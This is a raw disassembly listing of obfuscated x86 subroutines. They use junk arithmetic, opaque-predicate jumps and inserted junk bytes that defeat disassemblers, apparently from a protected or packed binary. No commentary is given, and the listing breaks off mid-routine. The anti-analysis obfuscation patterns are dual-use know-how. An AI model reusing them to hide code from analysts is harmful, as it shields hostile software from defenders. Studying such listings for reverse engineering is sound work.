sub_49D86B:loc_49D896j pop ecx dec cl dec cl jo short loc_49D8AF jl short loc_49D8AD loc_49D8A8: ; CODE XREF: sub_49D86B:loc_49D8ADj ; sub_49D86B:loc_49D8AFj jmp short loc_49D8B1 ; --------------------------------------------------------------------------- movlps xmm4, qword ptr [esi] loc_49D8AD: ; CODE XREF: sub_49D86B+3Bj jz short loc_49D8A8 loc_49D8AF: ; CODE XREF: sub_49D86B+39j jmp short loc_49D8A8 ; --------------------------------------------------------------------------- loc_49D8B1: ; CODE XREF: sub_49D86B:loc_49D8A8j and al, cl mov bh, 0Fh and bl, 0 dec bh sub bh, 3 dec bh sub bh, 1 dec bh jo short loc_49D8CF jl short loc_49D8CD loc_49D8C8: ; CODE XREF: sub_49D86B:loc_49D8CDj ; sub_49D86B:loc_49D8CFj jmp short loc_49D8D1 ; --------------------------------------------------------------------------- movlps xmm4, qword ptr [esi] loc_49D8CD: ; CODE XREF: sub_49D86B+5Bj jz short loc_49D8C8 loc_49D8CF: ; CODE XREF: sub_49D86B+59j jmp short loc_49D8C8 ; --------------------------------------------------------------------------- loc_49D8D1: ; CODE XREF: sub_49D86B:loc_49D8C8j and ah, bh pop ecx pop ebx test eax, eax jz short loc_49D8E1 not eax add eax, 1 stc jmp short loc_49D8E7 ; --------------------------------------------------------------------------- loc_49D8E1: ; CODE XREF: sub_49D86B+6Cj not eax add eax, 1 clc loc_49D8E7: ; CODE XREF: sub_49D86B+74j sbb eax, eax add eax, 1 mov [ebp+var_C], eax mov ecx, dword_4ED40C xor ecx, dword_4ED410 shl ecx, 1 mov [ebp+var_8], ecx cmp [ebp+var_C], 0 jz short loc_49D90F mov edx, [ebp+var_8] or edx, 1 mov [ebp+var_8], edx loc_49D90F: ; CODE XREF: sub_49D86B+99j mov eax, [ebp+var_8] push eax call off_4F1D64 add esp, 4 pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_49D86B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_49D923 proc near ; DATA XREF: sub_4965D8+14BBo var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch push ebx push esi push edi mov eax, [ebp+arg_0] push eax call off_4F1D9C add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+var_4] push ecx mov ecx, 800h mov ecx, 0Dh not ecx bswap eax not ecx inc ecx inc ecx inc ecx inc ecx inc ecx inc ecx inc ecx inc ecx inc ecx inc ecx inc ecx inc ecx inc ecx inc ecx inc ecx inc ecx inc ecx dec ecx inc ecx inc cl inc cl inc cl add ecx, 0Dh inc cl inc cl inc cl inc cl inc cl add ecx, 0Ah dec ecx push edx mov edx, 4 add ecx, edx inc ecx pop edx bswap eax and eax, ecx pop ecx neg eax sbb eax, eax neg eax pop edx mov [ebp+var_C], eax mov ecx, dword_4ED3CC xor ecx, dword_4ED3D0 shl ecx, 1 mov [ebp+var_8], ecx cmp [ebp+var_C], 0 jz short loc_49D9B3 mov edx, [ebp+var_8] or edx, 1 mov [ebp+var_8], edx loc_49D9B3: ; CODE XREF: sub_49D923+85j mov eax, [ebp+var_8] push eax call off_4F1D24 add esp, 4 pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_49D923 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_49D9C7 proc near ; DATA XREF: sub_4965D8+AE7o var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch push ebx push esi push edi mov eax, [ebp+arg_0] push eax call off_4F1DA8 add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+var_4] push edx mov edx, 0FFFFh and eax, edx push ebx push eax mov bh, 3 dec bh dec bh dec bh and eax, 800h bswap ecx pop eax bswap ecx and ah, bh mov bl, 95h sub bl, 9 sub bl, 0Ch not bx bswap eax not bx bswap eax and al, bl mov eax, eax pop ebx neg eax sbb eax, eax inc eax pop edx mov [ebp+var_C], eax mov ecx, dword_4ED3D8 xor ecx, dword_4ED3DC shl ecx, 1 mov [ebp+var_8], ecx cmp [ebp+var_C], 0 jz short loc_49DA41 mov edx, [ebp+var_8] or edx, 1 mov [ebp+var_8], edx loc_49DA41: ; CODE XREF: sub_49D9C7+6Fj mov eax, [ebp+var_8] push eax call off_4F1D30 add esp, 4 pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_49D9C7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_49DA55 proc near ; DATA XREF: sub_4965D8+184o var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch push ebx push esi push edi mov eax, [ebp+arg_0] push eax call off_4F1DC4 add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+var_4] push ebx mov ebx, 0FFFFh and eax, ebx push ecx mov ch, 2Dh dec ch sub ch, 1 sub ch, 20h dec ch dec ch sub ch, 7 dec ch dec ch and ah, ch mov cl, 79h sub cl, 4 dec cl dec cl dec cl dec cl not cl bswap edx not cl bswap edx dec cl dec cl push eax dec cl dec cl sub cl, 13h jo short loc_49DABB jl short loc_49DAB9 loc_49DAB6: ; CODE XREF: sub_49DA55:loc_49DAB9j ; sub_49DA55:loc_49DABBj jmp short loc_49DABD ; --------------------------------------------------------------------------- db 0E9h ; --------------------------------------------------------------------------- loc_49DAB9: ; CODE XREF: sub_49DA55+5Fj jz short loc_49DAB6 loc_49DABB: ; CODE XREF: sub_49DA55+5Dj jmp short loc_49DAB6 ; --------------------------------------------------------------------------- loc_49DABD: ; CODE XREF: sub_49DA55:loc_49DAB6j dec cl and eax, 40h dec cl dec cl dec cl add cl, 0Eh dec cl dec cl and eax, 40h sub cl, 1Fh dec cl dec cl dec cl not ecx bswap eax not ecx bswap eax pop eax and al, cl mov eax, eax pop ecx neg eax sbb eax, eax inc eax pop ebx mov [ebp+var_C], eax mov ecx, dword_4ED3F4 xor ecx, dword_4ED3F8 shl ecx, 1 mov [ebp+var_8], ecx cmp [ebp+var_C], 0 jz short loc_49DB12 mov edx, [ebp+var_8] or edx, 1 mov [ebp+var_8], edx loc_49DB12: ; CODE XREF: sub_49DA55+B2j mov eax, [ebp+var_8] push eax call off_4F1D4C add esp, 4 pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_49DA55 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_49DB26 proc near ; DATA XREF: sub_4965D8+D1Do var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch push ebx push esi push edi mov eax, [ebp+arg_0] push eax call off_4F1DDC add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+var_4] push ebx mov ebx, 0FFFFh and eax, ebx push ecx push 800h pop ecx dec ch dec ch sub ch, 3 sub ch, 1 dec ch dec ch and ah, ch mov cl, 14h dec cl dec cl sub cl, 2 dec cl dec dl sub cl, 1 dec cl dec cl dec dl dec cl dec dl dec cl sub cl, 3 dec cl dec dl sub cl, 1 dec cl and al, cl pop ecx pop ebx test eax, eax jz short loc_49DB99 not eax add eax, 1 stc jmp short loc_49DB9F ; --------------------------------------------------------------------------- loc_49DB99: ; CODE XREF: sub_49DB26+69j not eax add eax, 1 clc loc_49DB9F: ; CODE XREF: sub_49DB26+71j sbb eax, eax neg eax mov [ebp+var_C], eax mov ecx, dword_4ED40C xor ecx, dword_4ED410 shl ecx, 1 mov [ebp+var_8], ecx cmp [ebp+var_C], 0 jz short loc_49DBC6 mov edx, [ebp+var_8] or edx, 1 mov [ebp+var_8], edx loc_49DBC6: ; CODE XREF: sub_49DB26+95j mov eax, [ebp+var_8] push eax call off_4F1D64 add esp, 4 pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_49DB26 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_49DBDA proc near ; DATA XREF: sub_4965D8+A1Bo var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch push ebx push esi push edi mov eax, [ebp+arg_0] push eax call off_4F1DAC add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+var_4] push edx mov edx, 0FFFFh and eax, edx push ebx push 1E00h pop ebx jo short loc_49DC10 jl short loc_49DC0E loc_49DC09: ; CODE XREF: sub_49DBDA:loc_49DC0Ej ; sub_49DBDA:loc_49DC10j jmp short loc_49DC12 ; --------------------------------------------------------------------------- movlps xmm4, qword ptr [esi] loc_49DC0E: ; CODE XREF: sub_49DBDA+2Dj jz short loc_49DC09 loc_49DC10: ; CODE XREF: sub_49DBDA+2Bj jmp short loc_49DC09 ; --------------------------------------------------------------------------- loc_49DC12: ; CODE XREF: sub_49DBDA:loc_49DC09j sub bh, 4 dec bh push eax dec bh dec bh jo short loc_49DC27 jl short loc_49DC25 loc_49DC20: ; CODE XREF: sub_49DBDA:loc_49DC25j ; sub_49DBDA:loc_49DC27j jmp short loc_49DC29 ; --------------------------------------------------------------------------- movlps xmm4, qword ptr [esi] loc_49DC25: ; CODE XREF: sub_49DBDA+44j jz short loc_49DC20 loc_49DC27: ; CODE XREF: sub_49DBDA+42j jmp short loc_49DC20 ; --------------------------------------------------------------------------- loc_49DC29: ; CODE XREF: sub_49DBDA:loc_49DC20j and eax, 40h dec bh sub bh, 12h sub bh, 3 pop eax dec bh and ah, bh mov edx, 12h dec dl sub dl, 1 dec dl sub dl, 7 dec dl dec dl dec dl dec dl and al, dl pop ebx pop edx neg eax sbb eax, eax inc eax mov [ebp+var_C], eax mov ecx, dword_4ED3DC xor ecx, dword_4ED3E0 shl ecx, 1 mov [ebp+var_8], ecx cmp [ebp+var_C], 0 jz short loc_49DC7C mov edx, [ebp+var_8] or edx, 1 mov [ebp+var_8], edx loc_49DC7C: ; CODE XREF: sub_49DBDA+97j mov eax, [ebp+var_8] push eax call off_4F1D34 add esp, 4 pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_49DBDA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_49DC90 proc near ; DATA XREF: sub_4965D8+F6Bo var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch push ebx push esi push edi mov eax, [ebp+arg_0] push eax call off_4F1DB0 add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+var_4] push edx mov edx, 0FFFFh and eax, edx push ebx push 0D00h pop ebx jo short loc_49DCC6 jl short loc_49DCC4 loc_49DCBF: ; CODE XREF: sub_49DC90:loc_49DCC4j ; sub_49DC90:loc_49DCC6j jmp short loc_49DCC8 ; --------------------------------------------------------------------------- movlps xmm4, qword ptr [esi] loc_49DCC4: ; CODE XREF: sub_49DC90+2Dj jz short loc_49DCBF loc_49DCC6: ; CODE XREF: sub_49DC90+2Bj jmp short loc_49DCBF ; --------------------------------------------------------------------------- loc_49DCC8: ; CODE XREF: sub_49DC90:loc_49DCBFj sub bh, 5 dec bh push eax dec bh dec bh and eax, 41h dec bh sub bh, 3 pop eax dec bh and ah, bh mov edx, 20h sub dl, 19h dec dl dec dl dec dl and al, dl pop ebx pop edx neg eax sbb eax, eax inc eax mov [ebp+var_C], eax mov ecx, dword_4ED3E0 xor ecx, dword_4ED3E4 shl ecx, 1 mov [ebp+var_8], ecx cmp [ebp+var_C], 0 jz short loc_49DD19 mov edx, [ebp+var_8] or edx, 1 mov [ebp+var_8], edx loc_49DD19: ; CODE XREF: sub_49DC90+7Ej mov eax, [ebp+var_8] push eax call off_4F1D38 add esp, 4 pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_49DC90 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_49DD2D proc near ; DATA XREF: sub_4965D8+4E1o var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch push ebx push esi push edi mov eax, [ebp+arg_0] push eax call off_4F1DBC add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+var_4] push edx mov edx, 0FFFFh and eax, edx push ebx push eax mov bh, 3 dec bh sub bh, 2 and eax, 800h bswap ecx pop eax bswap ecx and ah, bh mov bl, 0B5h dec bl dec esi dec bl dec bl dec edi dec bl sub bl, 14h dec bl dec bl sub bl, 20h dec edi sub bl, 1Ah dec bl sub bl, 1Fh not bx bswap eax not bx bswap eax and al, bl mov eax, eax pop ebx neg eax sbb eax, eax neg eax pop edx mov [ebp+var_C], eax mov ecx, dword_4ED3EC xor ecx, dword_4ED3F0 shl ecx, 1 mov [ebp+var_8], ecx cmp [ebp+var_C], 0 jz short loc_49DDBE mov edx, [ebp+var_8] or edx, 1 mov [ebp+var_8], edx loc_49DDBE: ; CODE XREF: sub_49DD2D+86j mov eax, [ebp+var_8] push eax call off_4F1D44 add esp, 4 pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_49DD2D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_49DDD2 proc near ; DATA XREF: sub_4965D8+899o var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch push ebx push esi push edi mov eax, [ebp+arg_0] push eax call off_4F1D94 add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+var_4] push ebx mov ebx, 0FFFFh and eax, ebx push ecx mov ch, 2Dh dec ch sub ch, 1 sub ch, 20h dec ch dec ch sub ch, 7 dec ch dec ch and ah, ch mov cl, 77h sub cl, 2 dec cl dec cl dec cl not cl bswap edx not cl bswap edx dec cl dec cl push eax dec cl dec cl sub cl, 12h dec cl dec cl and eax, 40h dec cl dec cl dec cl add cl, 0Eh dec cl dec cl and eax, 80h sub cl, 1Fh dec cl dec cl dec cl not ecx bswap eax not ecx bswap eax pop eax and al, cl mov eax, eax pop ecx neg eax sbb eax, eax neg eax pop ebx mov [ebp+var_C], eax mov ecx, dword_4ED3C4 xor ecx, dword_4ED3C8 shl ecx, 1 mov [ebp+var_8], ecx cmp [ebp+var_C], 0 jz short loc_49DE87 mov edx, [ebp+var_8] or edx, 1 mov [ebp+var_8], edx loc_49DE87: ; CODE XREF: sub_49DDD2+AAj mov eax, [ebp+var_8] push eax call off_4F1D1C add esp, 4 pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_49DDD2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_49DE9B proc near ; DATA XREF: sub_4965D8+5ADo var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch push ebx push esi push edi mov eax, [ebp+arg_0] push eax call off_4F1D78 add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+var_4] push ebx mov ebx, 0FFFFh and eax, ebx push ecx mov ch, 2Ch sub ch, 1 sub ch, 20h dec ch dec ch sub ch, 4 dec ch sub ch, 3 dec ch and ah, ch mov cl, 0AEh sub cl, 2 dec cl dec cl sub cl, 6 not al bswap ecx not al bswap ecx dec cl dec cl sub cl, 10h dec cl dec cl add cl, 0Ch dec cl dec cl dec cl dec cl dec cl dec cl sub cl, 10h sub cl, 1 dec cl dec cl dec cl dec cl dec cl dec cl dec cl dec cl not ecx bswap eax not ecx bswap eax inc cl add cl, 2 and al, cl mov eax, eax pop ecx neg eax sbb eax, eax inc eax pop ebx mov [ebp+var_C], eax mov ecx, dword_4ED3A8 xor ecx, dword_4ED3AC shl ecx, 1 mov [ebp+var_8], ecx cmp [ebp+var_C], 0 jz short loc_49DF57 mov edx, [ebp+var_8] or edx, 1 mov [ebp+var_8], edx loc_49DF57: ; CODE XREF: sub_49DE9B+B1j mov eax, [ebp+var_8] push eax call off_4F1D00 add esp, 4 pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_49DE9B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_49DF6B proc near ; DATA XREF: sub_4965D8+12F5o var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch push ebx push esi push edi mov eax, [ebp+arg_0] push eax call off_4F1DB0 add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+var_4] push edx mov dh, 2 dec dh dec dh and ah, dh mov dl, 0Eh sub dl, 0FFh jo short loc_49DF9E jl short loc_49DF9C loc_49DF99: ; CODE XREF: sub_49DF6B:loc_49DF9Cj ; sub_49DF6B:loc_49DF9Ej jmp short loc_49DFA0 ; --------------------------------------------------------------------------- db 0E9h ; --------------------------------------------------------------------------- loc_49DF9C: ; CODE XREF: sub_49DF6B+2Cj jz short loc_49DF99 loc_49DF9E: ; CODE XREF: sub_49DF6B+2Aj jmp short loc_49DF99 ; --------------------------------------------------------------------------- loc_49DFA0: ; CODE XREF: sub_49DF6B:loc_49DF99j sub dl, 0FEh dec dl sub dl, 0FFh sub dl, 0Ah sub dl, 0FFh sub dl, 0FFh jo short loc_49DFBA jl short loc_49DFB8 loc_49DFB5: ; CODE XREF: sub_49DF6B:loc_49DFB8j ; sub_49DF6B:loc_49DFBAj jmp short loc_49DFBC ; --------------------------------------------------------------------------- db 0E9h ; --------------------------------------------------------------------------- loc_49DFB8: ; CODE XREF: sub_49DF6B+48j jz short loc_49DFB5 loc_49DFBA: ; CODE XREF: sub_49DF6B+46j jmp short loc_49DFB5 ; --------------------------------------------------------------------------- loc_49DFBC: ; CODE XREF: sub_49DF6B:loc_49DFB5j sub dl, 1 dec dl dec dl dec dl dec dl dec dl dec dl dec dl dec dl sub dl, 3 sub dl, 0FFh dec dl inc dl inc dl inc dl inc dl and al, dl pop edx neg eax sbb eax, eax inc eax mov [ebp+var_C], eax mov ecx, dword_4ED3E0 xor ecx, dword_4ED3E4 shl ecx, 1 mov [ebp+var_8], ecx cmp [ebp+var_C], 0 jz short loc_49E00A mov edx, [ebp+var_8] or edx, 1 mov [ebp+var_8], edx loc_49E00A: ; CODE XREF: sub_49DF6B+94j mov eax, [ebp+var_8] push eax call off_4F1D38 add esp, 4 pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_49DF6B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_49E01E proc near ; DATA XREF: sub_4965D8+294o var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch push ebx push esi push edi mov eax, [ebp+arg_0] push eax call off_4F1D98 add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+var_4] push edx mov edx, 0FFFFh and eax, edx push ebx push 1E00h pop ebx jo short loc_49E052 jl short loc_49E050 loc_49E04D: ; CODE XREF: sub_49E01E:loc_49E050j ; sub_49E01E:loc_49E052j jmp short loc_49E054 ; --------------------------------------------------------------------------- db 8Bh ; --------------------------------------------------------------------------- loc_49E050: ; CODE XREF: sub_49E01E+2Dj jz short loc_49E04D loc_49E052: ; CODE XREF: sub_49E01E+2Bj jmp short loc_49E04D ; --------------------------------------------------------------------------- loc_49E054: ; CODE XREF: sub_49E01E:loc_49E04Dj sub bh, 4 inc bh dec bh dec bh push eax dec bh dec bh inc bh dec bh jo short loc_49E06F jl short loc_49E06D loc_49E06A: ; CODE XREF: sub_49E01E:loc_49E06Dj ; sub_49E01E:loc_49E06Fj jmp short loc_49E071 ; --------------------------------------------------------------------------- db 8Bh ; --------------------------------------------------------------------------- loc_49E06D: ; CODE XREF: sub_49E01E+4Aj jz short loc_49E06A loc_49E06F: ; CODE XREF: sub_49E01E+48j jmp short loc_49E06A ; --------------------------------------------------------------------------- loc_49E071: ; CODE XREF: sub_49E01E:loc_49E06Aj and eax, 40h dec bh sub bh, 12h sub bh, 3 pop eax dec bh and ah, bh mov edx, 12h dec dl sub dl, 1 dec dl sub dl, 7 dec dl dec dl inc dl dec dl dec dl dec dl and al, dl pop ebx pop edx neg eax sbb eax, eax inc eax mov [ebp+var_C], eax mov ecx, dword_4ED3C8 xor ecx, dword_4ED3CC shl ecx, 1 mov [ebp+var_8], ecx cmp [ebp+var_C], 0 jz short loc_49E0C8 mov edx, [ebp+var_8] or edx, 1 mov [ebp+var_8], edx loc_49E0C8: ; CODE XREF: sub_49E01E+9Fj mov eax, [ebp+var_8] push eax call off_4F1D20 add esp, 4 pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_49E01E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_49E0DC proc near ; DATA XREF: sub_4965D8+1009o var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch push ebx push esi push edi mov eax, [ebp+arg_0] push eax call off_4F1D8C add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+var_4] push edx mov dh, 6 dec dh jo short loc_49E106 jl short loc_49E104 loc_49E101: ; CODE XREF: sub_49E0DC:loc_49E104j ; sub_49E0DC:loc_49E106j jmp short loc_49E108 ; --------------------------------------------------------------------------- db 0E8h ; --------------------------------------------------------------------------- loc_49E104: ; CODE XREF: sub_49E0DC+23j jz short loc_49E101 loc_49E106: ; CODE XREF: sub_49E0DC+21j jmp short loc_49E101 ; --------------------------------------------------------------------------- loc_49E108: ; CODE XREF: sub_49E0DC:loc_49E101j sub dh, 2 push eax mov eax, 800h bswap eax not eax pop eax sub dh, 3 and ah, dh mov dl, 4 dec dl sub dl, 2 dec dl sub dl, 0FFh and al, dl not ah bswap eax bswap eax not ah pop edx neg eax sbb eax, eax inc eax mov [ebp+var_C], eax mov ecx, dword_4ED3BC xor ecx, dword_4ED3C0 shl ecx, 1 mov [ebp+var_8], ecx cmp [ebp+var_C], 0 jz short loc_49E15A mov edx, [ebp+var_8] or edx, 1 mov [ebp+var_8], edx loc_49E15A: ; CODE XREF: sub_49E0DC+73j mov eax, [ebp+var_8] push eax call off_4F1D14 add esp, 4 pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_49E0DC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_49E16E proc near ; DATA XREF: sub_4965D8+42Co var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch push ebx push esi push edi mov eax, [ebp+arg_0] push eax call off_4F1D90 add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+var_4] push edx mov edx, 0FFFFh and eax, edx push ebx push eax mov bh, 38h dec bh dec bh dec bh dec bh and eax, 800h bswap ecx pop eax bswap ecx and ah, bh mov bl, 87h sub bl, 5 dec bl dec bl dec bl and eax, 0 dec bl dec bl sub bl, 10h dec bl dec bl dec bl dec bl dec bl dec bl dec bl dec bl dec bl dec bl dec bl dec bl inc eax sub bl, 1Fh not bx bswap eax not bx bswap eax mov eax, eax pop ebx mov [ebp+var_C], eax mov ecx, dword_4ED3C0 xor ecx, dword_4ED3C4 shl ecx, 1 mov [ebp+var_8], ecx cmp [ebp+var_C], 0 jz short loc_49E20B mov edx, [ebp+var_8] or edx, 1 mov [ebp+var_8], edx loc_49E20B: ; CODE XREF: sub_49E16E+92j mov eax, [ebp+var_8] push eax call off_4F1D18 add esp, 4 pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_49E16E endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_49E21F proc near ; DATA XREF: sub_4965D8+1130o var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch push ebx push esi push edi mov eax, [ebp+arg_0] push eax call off_4F1DB0 add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+var_4] push edx mov edx, 0FFFFh and eax, edx push ebx push 100h pop ebx dec bh jo short loc_49E255 jl short loc_49E253 loc_49E250: ; CODE XREF: sub_49E21F:loc_49E253j ; sub_49E21F:loc_49E255j jmp short loc_49E257 ; --------------------------------------------------------------------------- db 0B8h ; --------------------------------------------------------------------------- loc_49E253: ; CODE XREF: sub_49E21F+2Fj jz short loc_49E250 loc_49E255: ; CODE XREF: sub_49E21F+2Dj jmp short loc_49E250 ; --------------------------------------------------------------------------- loc_49E257: ; CODE XREF: sub_49E21F:loc_49E250j add bh, 0FFh add bh, 0FFh add bh, 0FFh add bh, 0FFh inc bh inc bh inc bh inc bh and ah, bh jo short loc_49E276 jl short loc_49E274 loc_49E271: ; CODE XREF: sub_49E21F:loc_49E274j ; sub_49E21F:loc_49E276j jmp short loc_49E278 ; --------------------------------------------------------------------------- db 0E8h ; --------------------------------------------------------------------------- loc_49E274: ; CODE XREF: sub_49E21F+50j jz short loc_49E271 loc_49E276: ; CODE XREF: sub_49E21F+4Ej jmp short loc_49E271 ; --------------------------------------------------------------------------- loc_49E278: ; CODE XREF: sub_49E21F:loc_49E271j mov bl, 14h dec bl sub bl, 5 dec bl dec bl dec bl sub bl, 1 dec bl dec bl dec bl sub bl, 3 and al, bl pop ebx pop edx test eax, eax jz short loc_49E2A1 not eax add eax, 1 stc jmp short loc_49E2A7 ; --------------------------------------------------------------------------- loc_49E2A1: ; CODE XREF: sub_49E21F+78j not eax add eax, 1 clc loc_49E2A7: ; CODE XREF: sub_49E21F+80j sbb eax, eax neg eax neg eax mov [ebp+var_C], eax mov ecx, dword_4ED3E0 xor ecx, dword_4ED3E4 shl ecx, 1 mov [ebp+var_8], ecx cmp [ebp+var_C], 0 jz short loc_49E2D0 mov edx, [ebp+var_8] or edx, 1 mov [ebp+var_8], edx loc_49E2D0: ; CODE XREF: sub_49E21F+A6j mov eax, [ebp+var_8] push eax call off_4F1D38 add esp, 4 pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_49E21F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_49E2E4 proc near ; DATA XREF: sub_4965D8+1240o var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch push ebx push esi push edi mov eax, [ebp+arg_0] push eax call off_4F1DA0 add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+var_4] push ecx mov ecx, 800h mov ecx, 0Ch not ecx bswap eax not ecx inc ecx inc ecx inc ecx and eax, 0 inc ecx inc ecx inc ecx inc ecx inc ecx inc ecx dec ecx inc ecx inc cl inc cl inc cl add ecx, 0Dh inc cl inc cl inc cl inc eax inc cl inc cl add ecx, 0Ah dec ecx push edx mov edx, 4 add ecx, edx inc ecx pop edx pop ecx mov [ebp+var_C], eax mov ecx, dword_4ED3D0 xor ecx, dword_4ED3D4 shl ecx, 1 mov [ebp+var_8], ecx cmp [ebp+var_C], 0 jz short loc_49E365 mov edx, [ebp+var_8] or edx, 1 mov [ebp+var_8], edx loc_49E365: ; CODE XREF: sub_49E2E4+76j mov eax, [ebp+var_8] push eax call off_4F1D28 add esp, 4 pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_49E2E4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_49E379 proc near ; DATA XREF: sub_4965D8+140o var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch push ebx push esi push edi mov eax, [ebp+arg_0] push eax call off_4F1DB0 add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+var_4] push edx mov edx, 0FFFFh and eax, edx push ebx push eax mov bh, 7 dec bh dec bh dec bh xor bh, 4 and eax, 800h bswap ecx pop eax bswap ecx and ah, bh mov bl, 98h sub bl, 9 dec bl dec bl dec bl sub bl, 0Ch not bx bswap eax not bx bswap eax and al, bl mov eax, eax pop ebx neg eax sbb eax, eax inc eax pop edx push eax mov eax, [ebp+var_4] mov edx, 0F00h sub dh, 1 dec dh dec dh sub dh, 4 and eax, edx neg eax sbb eax, eax inc eax mov edx, eax pop eax xor ecx, ecx cmp eax, edx setz cl mov al, cl mov [ebp+var_C], eax mov ecx, dword_4ED3E0 xor ecx, dword_4ED3E4 shl ecx, 1 mov [ebp+var_8], ecx cmp [ebp+var_C], 0 jz short loc_49E422 mov edx, [ebp+var_8] or edx, 1 mov [ebp+var_8], edx loc_49E422: ; CODE XREF: sub_49E379+9Ej mov eax, [ebp+var_8] push eax call off_4F1D38 add esp, 4 pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_49E379 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_49E436 proc near ; DATA XREF: sub_4965D8+1477o var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch push ebx push esi push edi mov eax, [ebp+arg_0] push eax call off_4F1DAC add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+var_4] jo short loc_49E45B jl short loc_49E459 loc_49E456: ; CODE XREF: sub_49E436:loc_49E459j ; sub_49E436:loc_49E45Bj jmp short loc_49E45D ; --------------------------------------------------------------------------- db 0E9h ; --------------------------------------------------------------------------- loc_49E459: ; CODE XREF: sub_49E436+1Ej jz short loc_49E456 loc_49E45B: ; CODE XREF: sub_49E436+1Cj jmp short loc_49E456 ; --------------------------------------------------------------------------- loc_49E45D: ; CODE XREF: sub_49E436:loc_49E456j push edx mov dh, 2 jo short loc_49E469 jl short loc_49E467 loc_49E464: ; CODE XREF: sub_49E436:loc_49E467j 